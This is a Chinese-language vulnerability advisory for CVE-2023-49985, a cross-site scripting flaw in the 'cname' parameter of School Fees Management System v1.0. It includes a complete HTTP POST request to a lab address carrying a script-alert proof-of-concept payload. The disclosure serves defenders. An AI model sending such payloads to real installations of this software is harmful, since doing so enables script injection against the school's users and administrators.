描述:School Fees Management System v1.0 的 "new_class" 组件存在跨站脚本(XSS)漏洞,攻击者可通过向 cname 参数注入特制载荷来执行任意 Web 脚本或 HTML。
受影响产品版本:School Fees Management System v1.0
CVE 作者:Geraldo Alcântara
日期:28/11/2023
确认日期:19/12/2023
CVE:CVE-2023-49985
测试环境:Windows
要利用此漏洞,具有相应权限的用户必须访问 "/ci_fms/admin/management/class" 页面。在该页面上,用户应编辑现有班级或添加新班级。在此过程中,需要将恶意载荷插入到 "cname" 参数中。
POST /ci_fms/admin/action/new_class HTTP/1.1
Host: 192.168.68.148
Content-Length: 273
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbJT9XS9eFLU53MR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/ci_fms/admin/management/class
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ci_session=gdoj5tr7rsf7ci5o9rpr0rh5eni2r6an
Connection: close
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cname"
<script>alert(document.domain)</script>
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cfees"
12,000
------WebKitFormBoundaryAbJT9XS9eFLU53MR--
发现者/致谢:
Geraldo Alcântara